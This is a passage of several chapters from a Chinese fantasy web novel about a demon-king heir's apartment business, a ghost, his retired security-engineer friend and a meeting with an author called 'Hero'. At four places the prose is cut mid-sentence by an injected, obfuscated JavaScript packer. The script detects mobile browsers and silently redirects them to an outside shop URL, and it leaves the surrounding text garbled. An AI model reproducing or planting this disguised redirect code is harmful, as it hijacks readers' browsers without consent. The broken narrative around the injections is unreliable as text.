尽管“两个矿地”和“整个赫尔马岱”相比还不值一提，但资源和势力这种东西就像滚雪球，一旦做好了开头，然后让它滚动起来，雪花片就会被自然而然地吸附，越变越大，越大越快…… 不过同样的例子也可以用在她与维克多之间的借贷上。 工地和直播的盈利使她能够定期还上一部分钱，但这两项事业的盈余并不像众人猜测的那么多。 毕竟这位大东家的目的实则是蚕食王国的资源，而不是当资本家，进账的大头都被分进了创造财富的那些成员的口袋，这导致她借钱的速度永远比还钱和赚钱要快，旧债未完，新债就筑起了高台。 万幸富有的幽灵只是笑眯眯地告诉她：“您放心用。” 在获取二号矿区权利的这段时间里，文森特也时常利用传送阵往返于两座城市，他对罗德里斯公寓在赫尔马岱的事业以及生命之树的近况进行取材，印刷了一些纸质的小报，分发给那些在树根储存星屑的客户们，和通用的人类文字印在一起的，还有大巫妖手写的古老魔族文字。 这上面的每一张图片和每一段文字都让阅读者们兴奋不已，有人领取了多份小报，除了用作收藏，还在认识的魔族朋友之间进行传阅。 一共只印了三位数的报纸，在热心群众的传抄下，一传十、十传百，在神圣峡谷的魔族群体间引起了轰动，也导致越来越多的魔族开始在实体店购买星屑，然后将它们存到树根里。 在部分客户的心中，这不是单纯的储蓄，而是一种投资，甚至是一种捐献。 这种行为让那些长期盘踞在他们心中的那个念头——用星屑的魔法力量重振生命之树——终于能够落到实处。 “——我十分后悔在有机会念大学的时候没有辅修一个经济学的学位。”灰色半透明的幽灵向他的老友讲述了近来发生的那些不可思议的事情，“这样我能做的事就更多了。” “你现在也可以学。”倚靠在竹藤躺椅上的老人看着他眉飞色舞的样子，忍不住笑了起来。 老人白发苍苍，满面皱纹，从眼角的那些纹路可以看得出来，她是一个爱笑的人。尽管是热天的白昼，她上身依然盖着一条砖红色的披肩。 “自从黄金时代结束之后，我就没有见到过这样意气风发的你了。我记忆里的那个维克多可不会搞出这么大胆的事起来。” 爱丽丝·提耶利维奇是位七十多岁的老妇人，五十多年前从一所在信息技术领域有着杰出成就的大学毕业，之后进入一家如今已成为独角兽的知名企业就职，一直到从信息安全中心主任的任上退休。 或许无论是往前还是往后，都很难在历史和未来中找出一代人，能像她那个世代的人一样，经历如此频繁且剧烈的社会变化。 她们那代人出生的时候，正赶上人类和魔族关系的第二次剧变（第一次是人魔大战），魔族受到迫害和虐待的现象开始引起人类社会中一些富有同情心的人物的关注，那些人四处奔走，大声呼吁，让当时的社会逐渐意识到，魔族和人类一样，是一类具有高级智慧和丰富情感的生物。 在这些社会运动人士的推动下，人类和魔族的关系渐渐有了改善。 爱丽丝四五岁的时候，还经常能看见被丢在路边的魔物们的尸体、在路上遭到驱赶和殴打的死灵、衣不蔽体蜷缩在巷尾的魅魔……然而等她上小学的时候，这些现象就已经很少见了。 到上中学的年纪，学校开始接受魔族学生。虽然魔族在入学前要经历极其严苛的背景调查和资格审核，在校内也要遵守比人类学生更多更繁琐的规矩——简而言之，就是区别对待仍然普遍存在——但也体现出一种巨大的进步。 爱丽丝在升入高中后，认识了第一位魔族同学，也是她们那个年级唯一一名魔族学生。她“有幸”和这位名叫蓝闪蝶的魔族女生成为同桌。 她难以描述在得知这个消息时的兴奋。班主任把她调到那个座位上的时候，她不得不紧紧捧着怀里的书本，一步一步慢慢走，防止自己高兴得跳起舞来。 回家之后，她把这件事告诉了父母，她那位脾气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924318|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暴躁的父亲在开学第二天就怒气冲冲地来到学校，要求班主任将“那头魔物”从女儿身边调离。 她因此迎来了青春期的反叛以及产生了与父母间的隔阂。她把那天的事情当成奇耻大辱，也一直对蓝闪蝶心怀愧疚。 成为高中生的第二天，她就与她的魔族同桌分开了。蓝闪蝶被班主任安排到了教室的角落——班主任也不希望再有学生家长找到班级里来，不得不出此下策。 蓝闪蝶是当时已经被宣布“野外灭绝”了的元素兽，除了那头深蓝色的头发和那对尖尖的耳朵之外，她看起来和人类少女没什么两样，甚至比那个年纪的大多数女生要漂亮。 她是拥有水系魔力的元素兽，她说水系元素兽有一个戏称叫做氧化氢兽，这个冷笑话让爱丽丝至今记忆犹新。 蓝闪蝶从不在大家面前施展魔法——这是他们必须遵守的规则。她的性格温柔得像水，她的头脑灵活得像水，她的心眼通透得像水。她是班上的优等生，虽然坐在教室角落，却出乎意料地受到了全班的喜爱。 爱丽丝父亲的闹事除去拆散了一对同桌，从长远来看，既没有对爱丽丝的在校生活产生什么影响，也没有对那位魔族女孩产生什么负面影响，她们依然成了好朋友。 在那个物质没有变得超量但也绝不贫乏的年代，她们那个年纪的孩子似乎比任何一个历史时期的同龄人都要单纯。 高二的秋天，学校的图书馆发生了一场火灾，消防车却在出勤途中遭遇交通事故，无法及时赶到，众人无可奈何之际，蓝闪蝶用自己的魔法浇灭了那场正在蔓延的灾难，而这违反了她在校内必须遵守的首条规定——不得使用魔法。照理来说，她会受到严格的惩罚。 由于当时正处于人类和魔族关系稳中向好、蓬勃发展的阶段，蓝闪蝶此行算是义举，不仅为学校轻减了大量火灾损失，也保护了校内师生的人身安全，再加上全校的学生（或者说至少百分之九十九的学生），尤其是爱丽丝所在的班级，为违规处罚的撤销做了很多努力，最终不仅让她免于惩罚，还受到了学校的表彰。 再后来，社会正式步入后来所谓的“黄金时代”，魔族可以进入大学，还可以参加合法工作。 爱丽丝考上了那所信息技术学校，而蓝闪蝶考上了恩斯法内的生物学院，前往王都就学。当时的通讯技术还没有现在这么发达，她们之间的联系也因此少了很多，但每到假期，不是爱丽丝去王都找蓝闪蝶，就是蓝闪蝶回家乡来看望爱丽丝。 在大学期间，爱丽丝认识了更多魔族同学，她发现他们中的大多数都像她的好友一样聪明，甚至不乏更聪明的。 他们中的其中一位对此作出了这样的解释：“虽然社会风气已经足够宽松，但魔族想要进入大学仍然比人类艰难，所以能考上大学的都是我们这个种族里面最聪明的家伙——比如我。” 说这话的正是维克多。 60. 第 60 章 那时候爱丽丝还不知道维克多是一个已经活了一百多年的幽灵，只是对他优异的成绩和广博的学识感到钦佩不已。 他们经常一块学习，共同完成课题，时不时讨论一下和将来有关的话题，以至于总有人跑来问爱丽丝：“你是不是在和一个幽灵谈恋爱？” 从那个时候开始，爱丽丝就打算从事信息安全工作了，而维克多的想法却是“走一步看一步”，或者“到时候再说”。 尽管这并没有影响到他们之间的交情，不过爱丽丝还是因此觉得维克多有些不靠谱。 几年后又发生了一些事，爱丽丝终于知道了维克多为什么从不规划未来。 那件事就是蓝闪蝶的死，以及以此为契机的……黄金时代的落幕。 当时爱丽丝已经顺利入职一家初创企业的信息管理部门，成为一名技术人员。 电视和电脑在那个时候也已经不是什么特别稀罕的东西，她住的出租屋里就有房东慷慨配置的一台小电视，供她在下班后进行一些室内低成本的休闲娱乐活动。 那是天空台的晚间新闻，十八点四十八分，穿着绀色制服打着格子领带的男主持人进行播报。 “今日下午十三时，一头元素兽在街头突然使用魔法袭击路人，在第一时间被附近执勤的特务击毙，没有造成人员伤亡。” 新闻画面只有几个简短而模糊的镜头，但爱丽丝一眼就认出了自己的好友——有着一头深蓝色头发的魔族女孩，被一道紫红色的魔法弹击中，像猝死的蝴蝶一样落向地面。 她立刻在网络上寻找相关信息，她循着街景找到友人遇害的街道，她像一个间谍或是可恶的记者一样逮着路人问话…… 最后得出一个结论：附近的一家杂货店内突然着火，偶然路过这里的魔族女孩好心地用魔法浇灭了火苗，却在同时被街头执勤的魔女击杀。 和新闻上的说法南辕北辙。 而爱丽丝显然更相信自己找到的答案。 这件事在之后的几天内引起了一阵风波，揭露事实的声音很快就被按了下去。 电视上开始大规模播放关于历史上两次除魔运动的纪录片，人类和魔族之间的矛盾立刻被激化，并上升到了一个前所未有的高度。 在社会上各个岗位任职的魔族在短期内便被以各种理由逮捕、处刑，在学校接受教育的年轻魔族们也被纷纷扫地出门，街头又经常会出现魔物的尸体和他们挨打的景象，那些仍愿意帮助魔族的人类通通没有得到好的下场…… 一晃就过去那么多年了。 其实在这几十年间，社会也发生过一些变化。比如科技的发展、魔法的爆发、衰老和新生的轮替。 爱丽丝已经彻底明白，人类有资本和底气为自己规划未来，而魔族没有。 作为维克多的大学同学、几十年的老友，以及他的暗中协助者，爱丽丝不敢说自己完全明白维克多心里在想什么，但至少能看出来如今发生在他身上的变化。 爱丽丝·提耶利维奇半躺在椅子上，侧头望着那个半透明的影子，“你开始畅想未来了。谁促成了你的这种转变？” “很难说明白，但你要知道，这里面一定也有你的一份。”幽灵压了压他那顶宽檐帽的帽檐，好像生怕阳光把自己照化了一样。 “但我那一份不起决定性作用，不是吗？”爱丽丝打算开一个玩笑，“呵呵呵呵，别紧张，我都已经这个年纪了，早就不会因为这种事情闹脾气了。” 咚咚咚。 房门方向传来规律的响声。 爱丽丝按了一下躺椅把手上的按钮，于是房门就打开了。 都说科技是人类的魔法，这话看起来一点也不错。 “维克多先生，真的是这里？”布莱克从门后探出脑袋，小心翼翼地观察着屋内的景象，在看到陷在椅子里的老人时，他的神情顿时变得局促起来，“没想到你认识这么厉害的人物。” 爱丽丝看了幽灵一眼，才看向门口：“年轻人一般可不会认识我这样的幕后工作者。我感到很荣幸。” 布莱克稍微松了一口气：“一年级的时候我上过一场和知识产权案有关的讲座，让我印象最深刻的就是和女士您有关的那个案例。弱者需要法律保护自己的权益，而强者用技术保护权益，毫无疑问，您就是那位强者。” 爱丽丝露出一个慈祥的笑容：“我听维克多说起过你，恩斯法内大学的法学生。我以为你不会喜欢我们这类人——显然我们减少了法律工作者能获得的工作。” 布莱克摇摇头：“正是因为有您这样的案例存在，才更能衬托出法律对弱小者的重要性，只要强与弱的差距存在，我们总能混到一口饭吃。” “说实话我有些不放心，”爱丽丝像是打量着一个新媳妇似的打量着访客，“我更希望维克多能找一个不比我差的技术者，但是他却找了一个律师。” 布莱克有些委屈：“我还没有毕业，也还不是一个律师……未来，大概也不会成为一个律师。” “噢——你甚至还不是一个律师。” 这话让男大学生感到无比窘迫。 好在这时候维克多帮他解了围：“技术方面的事情我可以亲自操刀，重要的是布莱克是一个愿意与我们合作的人类。” “所以我的价值只体现在我的人类身份上？”爱丽丝说。 维克多又扶了一下帽檐：“我知道你在开玩笑。但你们是人类这件事确实意义重大，这不仅帮我规避了很多麻烦，而且在社会层面上也能体现出一定影响力。” “你完全可以把话说得好懂一点。我还以为你刚刚才学会人类的语言呢。” “我们之间的友谊证明人类和魔族完全可以放下成见和谐共处——这样说就够明白了吧？” 爱丽丝笑了起来，但同时目光也变得深邃。 布莱克注意到她正在眺望着摆在书柜里的一张相片，相片的主人公是一位有着深蓝长发的美丽女性——那显然不是爱丽丝本人，甚至很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924319|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能不是一位人类。 “房东大人希望由我接手赫尔马岱的部分项目，我想我一个人大概忙不过来，而我的老伙计——”维克多飘到躺椅的右边，将手轻放在爱丽丝的肩上，“如你所见，已经到了不方便东奔西跑的年纪。” 布莱克从他的话里读出了几层意思。 在信息安全领域赫赫有名的工程师，爱丽丝·提耶利维奇不仅是维克多的朋友，更是他多年以来的协助者，专门帮他处理那些以幽灵的身份无法处理的事情。 不过爱丽丝已经老了，而且不良于行，所以没有足够的精力继续从事那些需要抛头露面的工作。 妮娜·斯特尔已经在“夺取赫尔马岱”的行动中取得了初步成果，维克多是她派去巩固这部分成果的首选人物，而他——布莱克·高宁，作为罗德里斯公寓的法律顾问兼维克多的私人助理，有责任和义务和他一起参与赫尔马岱的管理任务。 今天，维克多之所以通知他到这儿来，就是为了让他和“前任助理”爱丽丝女士进行工作交接的。 “希望我不会辜负你的期待。”他几乎是情不自禁地说道。 和爱丽丝·提耶利维奇相比，布莱克·高宁实在是一个籍籍无名且能力平平的家伙。但既然他都已经下定决心要重新振作了，就不该因为这种并不公平的对比失去斗志。 不如说，得知连这样一位出名的技术工作者都参与了暗中协助魔族的事业，反而愈加激发了布莱克的斗志。 爱丽丝操控着自己的躺椅带两位客人来到一扇隐秘的门前。 这扇门藏在客厅与卧室相隔的墙壁上，开门的密钥也和躺椅上的某些按钮联系到了一起。 将门打开之后，出现在门后的并不是通往地下的暗道，也不是一个秘密房间——这是当然的。布莱克也不知道自己在期待些什么，这只是一面墙，而这面墙的前后都没有可以开辟密室的空间。 这扇门只有不足一平方米的面积，后面只藏着一个夹层，目测只有一公分左右的厚度，而这个夹层就像一块告示板一样，里面整齐地码放着一叠叠文件，并用不知什么方法将它们固定在相应的位置上。 “现在有各种高明的电子存储技术，但从那个世代走过来的人总会更信任这种看得见摸得着的证据。”爱丽丝说。 她示意布莱克和维克多将里面的文件全部取出来，“这是用我的名义开的各种账户，以及与不同平台签订的合同，现在该交给你们了。” 布莱克在其中的几份文件上看到了“潜入调查”这个名称。 “这可不是什么机密文件，一个带锁的抽屉就足够保护它们了。”维克多捧着那些文件说道。 “做我们那份工作的人总是谨慎过头。”爱丽丝揶揄道，“让你们见笑了。” “怎么会，我一直都很感激你，日后也不会忘记这份情谊。”维克多说。 爱丽丝关上了夹层的门：“都说长寿生物的承诺比金子还珍贵。我再次感到荣幸。” 61. 第 61 章 …… 我不太记得确切的时间了，大约距今五百年以前，有一位社会学家提出了“绝对正确独裁者”的理念。 这位学者认为最高效且美好的社会应该由一位绝对正确的独裁者来管理，这位独裁者遵循的底层逻辑是“每一个决定都能使社会效率和人民幸福感最大化”。 这位独裁者能在每一个危机面前找到最正确的解决办法，能在每一起诉讼中作出最公平的判决……总之，他的每一个决定都是最好的，而且他还有独裁的权力，让其治下的人民按照他的决定进行作为。 这个理念在提出之初受到大量质疑，因为人们憎恨“独裁者”，到了只是看到这个词语，就将这个理念贬得一文不值的地步。 后来，终于有人意识到他们之所以憎恨独裁者，是因为他往往用独裁的权力做错误的事，他们开始明白“绝对正确”这个前缀的价值所在。 但这个理念最终还是归于了沉寂，因为人们发现这是一个过度理想化的假设。 在人类社会中，既不存在可以永远不犯错的人，也不存在能够真正控制一切的权力。 但魔界不同。魔族的社会顶端是一个能让所有试图成为独裁者的人类君王都瞠目结舌的存在。 在魔界，“独裁者”的存在是一件理所当然的事。 魔物们并不反感被君王权力左右意志的感受，他们甚至能从中感到快乐——我知道这以人类的眼光来看甚至有点变态，但这就是魔族。 正因为魔王拥有着绝对的权力，所以他们从小就被教导要做最正确的事，要做对扩大族群利益和提升族群幸福有益的事。 每一位魔王都会将自己生命的最后几年完全奉献给他的继任者，以将其培育成一位正直、高洁、智慧的新王。 其实我会猜想，这三个词是否已经成了“魔王”这一种族的本能，甚至是他们的一种固有属性。 在魔界，没有任何东西能高于一位魔王（除了另一位魔王），于是他们就用这三条戒律约束自己。 没准这和魔物们的“臣服愉悦”是种相伴而生、相辅相成的本能。 顺带一提，就像不能以人类的认知来判断魔族社会一样，同样不能以人类的道德标准去审视对魔族来说的“正直、高洁和智慧”。 ——《勇者笔记·第四卷（未发表）》 …… 那时候我们一致认为魔王的力量违反了世界运作的规律，违反了人类学者至今为止构建起来的一切知识框架，但在我和那位大人物打了几次交道之后，我印证了人类童话中有关魔法的一个说法：越是超越想象的力量，越要遵循严苛的规则和约束。 我在前面提到过，魔王必须保持高洁、正直和智慧的品质，还有他们这一种族代际传承的法则……这些复杂的东西其实都包含在这个说法之内。 像我这样怯懦的人，本来是没有资格接触这种力量的，我不知道它认可了我身上的哪一种特质，非要说的话……或许我算是一个具有正义感的人？但是后来发生的一切，让所谓的“正义”变得非常可笑。 我无意清洗自己身上的污秽，无意矫饰自己的清高，以我的所有力量起誓，我必须成为一个崇高者，即使不为人所知。 ——怎么样，是不是一句悲壮而激动人心的台词？ 不如把它加入到《勇者斗魔王》的番外里去。 ——《勇者笔记·第四卷（未发表）》 * 等到二号矿区的清点、收购以及整合彻底完成，这片土地在法律上与安卡亚和爱德维希再无瓜葛。 “工人休息处”被正式改造为罗德里斯公寓在赫尔马岱的分部，变成了处理工业区各项业务的办公中心。 在安排好维克多和布莱克·高宁两位主要负责人后，妮娜才在自己的项目主页上更新了这项巨大成果。 两个月前，罗德里斯公寓还只是一个拥有两名魅魔主播的“直播基地”，两个月之后，它就成了涉足金融和资源的跨界巨物。 这个跨步的幅度在大多数关注者眼里绝对有些大过头了。 整个项目的关注度排名正在以每天超过一名对手的速度向上攀升，关于它的网络讨论也是五花八门。 [老板，我给你点了看好，等我被裁了可不可以收留我几天？] [比斯特里大学、生物学、魔族生物方向、硕士应届毕业、有研究所实习经验、对魔族生态和生理有深入了解，老板看看有没有用人需求。] [会开挖掘机，工地那边缺不缺人？雇我的成本肯定比魔法挖掘机低！] [虽然看不懂这波操作，但还是想看看负责人能搞出什么名堂来。] [我查到负责人是恩斯法内大学经济学院的诶，她这么做一定有她的规划。] [现在不是导师制了吗？贵族院有没有查过这个人的背景？我怎么觉得像是魔族那边派来搞人类的……] [哈哈哈哈，笑死，你要不要看看自己在说什么？] [我看好的时候这项目才100+关注度，我这眼光怎么不用在选股票上呢？] [那你以后可以凭看好证明去负责人那边要点股份来。] [你们真信这是个正经大学生创业项目啊？明显是富二代拿家里的钱出来玩的啊……问题是还真被她玩出花了。（已屏蔽）天佑富二代，这世道给不给穷人活路了。] 阿尔弗雷德正在考察竞争对手目前的舆论风向，突然注意到了这条。 在上回参加导师7号安排的培训之后，阿尔弗雷德花了好一番功夫折腾社交账号，确实给项目的收益和人气带来了不小的提升，只是没想到时隔几日打开大赛主页的时候，本来还和地狱火不分伯仲的罗德里斯公寓突然就遥遥领先了。 他对这个项目的相关动向做了深入分析，完全弄不明白妮娜·斯特尔是怎么突然开了窍的。这条评论让他忽然茅塞顿开。 她准是个富二代。 可如果她真是一个富二代的话…… 阿尔弗雷德想起上次聚餐的情形，想到那盘甘豆，再想到那篮被瓜分的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924320|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炸鸡，还有妮娜·斯特尔眼巴巴地等着AA转账的神情。 “——那她也太抠门了吧？！” * “我可以借用一下你的电脑吗？”抠门的房东敲响了103室那扇新开的房门。 幽灵今天没有戴着他的那顶帽子，蜷曲的头发乖巧地伏在他的脑袋上，让他看上去显得更加年轻了。 “您不需要征询我的同意，我是永远不会拒绝您的。” 在布置房间的时候，维克多几乎没有对内部的修饰提出任何要求，而直到现在，他的房间依然空空荡荡，和最初相比也不过多了一扇房门而已。 他的工作道具全部被摆在地上。 “我不确定你晚上是怎么睡觉的，也许你不需要床，但你难道也不需要一张办公桌吗？”妮娜有些为难地在地上盘腿坐下。 “对我来说可有可无，但您需要的话，我不介意让自己的房间里多一点东西。”维克多对着空气敲了几下手指。 妮娜看到那台笨重的台式机的显示屏开始发生一些变化，屏幕被投映到空空如也的墙壁上，一切清晰可见。 这么说来，他确实不需要桌椅。 “那就这样吧，我入乡随俗。” 她低下脑袋，身体前倾，观察着那张陌生的开始屏幕：“我想借你的匿名回路发几封邮件。” 屏幕继续发生着变化。 “已经帮您设置好了。” “谢谢。”妮娜点点头，登录自己的邮箱，给一直配送《勇者笔记》的发件人写了一封邮件。 “勇者先生，我一直在等待新的讯息，可我的邮箱已经接连两个月没有收到新刊了，难道说您不打算继续更新了吗？还是您的创作出现了什么问题？” 她没想过能立刻收到回复，本打算等收到回信后再来拜访维克多，然而还不等她起身，回件就被送到了她的邮箱。 “没有完结，但是暂时不会发表新刊。” 这可是她自订阅该刊物后从未有过的情况。 “您身边最近出现了什么状况吗？不知道阿斯代伦先生有没有和您说起过我们见面的事，如果他说过，我想您一定知道我能帮上忙……我可以见您一面吗？有些事情我想当面问问您，并征询您的意见。” “不要轻易和网友见面，不怀好意的人太多了。”维克多在一旁看到了邮件的内容，忍不住插了一句。 “七八年前倒是经常有这一类的事件被报道出来。”妮娜嘀咕了一句，“不过现在已经很少了。” “什么事件？”维克多问。 “以前有段时间不是总发生吗，和网上谈得很好的朋友在线下见面之后又被骗钱又被骗感情的。”妮娜说。 “嗯——”维克多拖着声音应了一声，“现在已经发展到不需要见面也可以被骗钱骗感情了。房东大人你可要小心。” 妮娜笑了起来：“别担心，我从来不在网上交朋友。” 维克多说：“我不算吗？” “唔，只能说我们的关系始于网络。” 62. 第 62 章 屋内沉寂下来，电子元件运作的声音变得异样清晰。 过了一会儿，维克多开口道：“您上次去圣灵图书馆，是为了见什么人？我对那件事一直耿耿于怀，总是担心您把某个不可告人的秘密泄漏给了居心叵测的家伙。” 妮娜晃动了一下手指：“是可以放心的人。” 维克多那压根儿就没有实体的身体明显僵了一下：“您真的把这事告诉别人了？您明明千叮万嘱让我们不要说出去，结果自己却——噢，我绝对没有责怪您的意思。” 妮娜挑了一下眉尾，她盯着显示屏上的某个点看了很久，“现在回想起来，我确实太过轻率了。那个瞬间我的脑袋很混乱。” “我事后也反思过，应该把事情说得更委婉一点。”维克多说。 “没错！你单膝跪地！人们只有在求婚的时候才会做这个动作。”妮娜说。 她的一只手还以标准的姿势放在键盘上，随时准备往邮件的回复栏里输入一些什么。 让人感到意外的是，勇者在她多嘴之前便又发了一封邮件过来。 “如果有空的话，今天下午三点左右，到格尔克诺广场的大雕塑前来。” “我今天下午要出门一趟。”妮娜说。她知道无需多言，幽灵也已经看见了邮件的内容。 “格尔克诺广场的大雕塑？是什么读者见面会吗？”维克多又用手指敲了敲空气，邮件页面顿时被关闭了，“这个地点很微妙，我觉得您最好谨言慎行。” 妮娜转过头：“微妙？” “您知道格尔克诺广场前树立的是谁的塑像吗？” “当然是某位对国家有重大贡献的先贤啰，我可以现场查询一下——唔，”妮娜打开浏览器，在搜索引擎中键入问题。 还不等她把疑问填充完整，自动关联的选项便迫不及待地出现在下拉框里。 万能的网络和博学的幽灵同时公布了答案：“阿加雷斯·格尔克诺，三百年前杀死魔王的勇者。” 妮娜看着那行字愣了片刻，“我还以为勇者的名字就是巴甘呢……” “就我所知，人类学校的历史课几乎不怎么详细教授那段历史，再加上后来流行一时的通俗小说，很多人的认知都被混淆了。”维克多说。 妮娜想了想：“在那里开‘读者见面会’应该不包含什么险恶用心，毕竟这位作家的笔名就是‘勇者’，这只是他的巧思。” 格尔克诺广场的后面就是贵族院，这一带是王都的市政中心，也是整个国家的行政中枢。 虽然靠近贵族院的那一部分人迹罕至，但广场附近却游客如织。 这座广场本身则是一个著名的观光景点，是那种外地游客到王都之后绝对会来拍一张纪念照的地方。 话虽如此，四年来妮娜一次都没到这附近来过。 每次她稍微有点空，想到这里一探究竟的时候，总会有各种各样的意外阻止她到这儿来，有时是学校的临时会议，有时候是交通事故，或者索性碰上广场关闭。 现在她有理由相信那都是贵族院搞的鬼了。 那些大人们一定不希望她出现在离自己太近的地方，尽管他们的某些做法看起来实在是谨慎过了头。 不知道为什么，今天她在前往格尔克诺广场的途中却没有遭遇任何突发情况。 她终于亲眼见到了这座传说中的勇者雕塑。 大概是为了彰显人类的勇气和斗志，这尊塑像被铸造得非常雄伟，站在底下向上仰视，根本无法确切地看到阿加雷斯·格尔克诺的表情，只能看到他挂在腰间的剑，以及扶在剑上的手。 “那时候就是你杀了魔王吗？”她仰着脖子，喃喃自语，“你是怎么杀死魔王的？难道你比魔王还要厉害？” “当然是以智取胜。‘欺骗’这一手段总是行之有效。”一个声音突兀地在她身后响了起来。 妮娜收回视线，看向身后，那里站着一个长着一头橙色短发的少年，虽然是夏天，但是他一点也不怕热地在脖子上系了一条粉绿色格子方巾，他穿着和方巾同色系的衬衫，外面套着墨绿色的无袖牛仔马甲。 刚才那句话显然就是出自他的口中。 “你就是勇者吗？”妮娜小心地将少年打量了一番，“可是你看起来比你弟弟还要年轻得多。” “你是说阿斯代伦？”“少年”笑了起来，“他就是有点老成。你最好养成不要将长生种的外表和年龄挂钩的坏习惯。” 妮娜机械地点了点头。 对方的回答足以证明他的身份。 但她总觉得眼前这个人的形象和她对勇者的印象相去甚远，不过一想到曾经流行一时的“见光死”，又觉得这种程度的偏差还算不上幻灭。 “你可以叫我波诺，就不用拐弯抹角了，说说看，你那些想要‘当面探讨’的问题。” “你刚才说到‘欺骗’……” “这就是你的问题？” “不，只是你刚好说到，我觉得有点——” “还是直接进入正题吧，”波诺十分强硬地打断了妮娜的话，“只说你原本想问的那些事。” 妮娜有些尴尬地蹭了一下鼻尖，还是决定依照他的意思，“我想了解一下魔龙的情况。考虑到你的年龄，我想你应该经历过他还醒着的那个时代。或许你会有所了解……罗德里斯是一条什么性格的龙？” “……一个很难搞的家伙，除了先代魔王，他对谁都很不客气，当然，他也有那么做的资本。”波诺对这个问题没有表现出多少抗拒，这让提问者稍稍放下点心，但他眼神中的警惕又让人感到不安，“你问这个做什么？” “我还以为你已经猜到了。”妮娜说。 * “——‘我要解放罗德里斯。’” “——她真的是这么说的。” “如果她真的这么做了，我预感王都会在巨龙的怒火中变成一片废墟。” “你最好想个办法阻止一下。” 波诺双手叉腰，在空空荡荡的圆桌会议室中来回踱步，说起话来像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924321|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连珠炮。 他身后蓝屏的泛光在他身上染出奇怪的颜色，他那鲜艳的头发看起来变得灰扑扑的。 很显然，他的内心并没有他那张玩世不恭的脸所表现出来的那么泰然。 这里刚刚结束一场并不欢快的圆桌会议——这对贵族院的七位掌权者来说已经是家常便饭。 会议上没提到什么特别的事，过半的成员都在为星屑储备的不足感到烦恼。 大法阵需要消耗的星屑超乎想象，光是刻画和布置就要使用超过一吨的魔力源流，后续的维持更是一个无底洞。 如果说用来描绘法阵轮廓和细节的那些星屑在事后还可以进行七成以上的回收，那么为了维持而投入的星屑则是一次性的燃料，纯粹的耗材。 而这东西是贵族院能够找到的克制魔王的唯一方法。 这十多年来，贵族院姑且能够稳定地维持住那个用于囚禁阿加雷斯的大法阵，再多一个，他们很可能就会不堪重负。 如果阿加雷斯挣脱大法阵，他会去做什么？ 如果不赶紧把妮娜·斯特尔送到大法阵里，她日后又会获得怎样的力量？ 他们必须发挥想象力，预设各种最坏的可能，然后两害相权取其轻，再决定优先将收集到的星屑倾斜到哪件事上。 最可怕的后果无疑是绝对权力和至高魔力的结合——一位完整的魔王可不是什么星屑大法阵能够对付得了的！ 不过阿斯代伦倒是乐见前者的发生。 他如今在暗中筹备的一切都是为了将阿加雷斯从贵族院的囚笼中解救出来，他才无所谓阿加雷斯会选择与贵族院作对，还是继续当一个充满正义感的人类勇士。 他只希望阿加雷斯能够重获自由。 至于贵族院，恐怕他巴不得这群“没有良心”的家伙遭到受害者应有的报复。 波诺当然不想看到那样的事情发生，但很多时候他身不由己。 “还有，阿斯代伦，你最好快点把答应过我的东西给我。你的时间不多，当我身上开始出现——让我想想人们是怎么形容那玩意儿的，嗯——‘岁月的痕迹’之后，你的同僚们立刻就会产生怀疑的。” 作为一个不具备任何特别加护的普通人类，混迹在一群半人半魔的家伙中间可不好受。 “你怎么突然变得这么着急？”阿斯代伦斜了他一眼，“别告诉我那个小女孩真的让你感到害怕了？” “无论如何，那都是一位魔王……虽然他们长得一点也不像，她终究是格兰德的后继者。噢，格兰德，格兰德……我上个礼拜又做了关于他的噩梦。”波诺揉了一下后脑勺上的头发，那些像发蔫的花瓣一样耷拉着的发丝这才勉强打起了一点精神。 阿斯代伦冷笑了一声：“如果你真的畏惧，你就不敢说出他的名字。‘格兰德’，我看你叫得很顺口。” “我……”波诺的眼睛里充满沮丧，“我不知道为什么会这样，你说的没错，那只是一个小女孩，她活过的光景只有我年龄的零头那么长！” 63. 第 63 章 “我明明和你们不一样，我为什么会在她面前感到敬畏？该死，我一定被你们传染了什么可疑的病毒。” 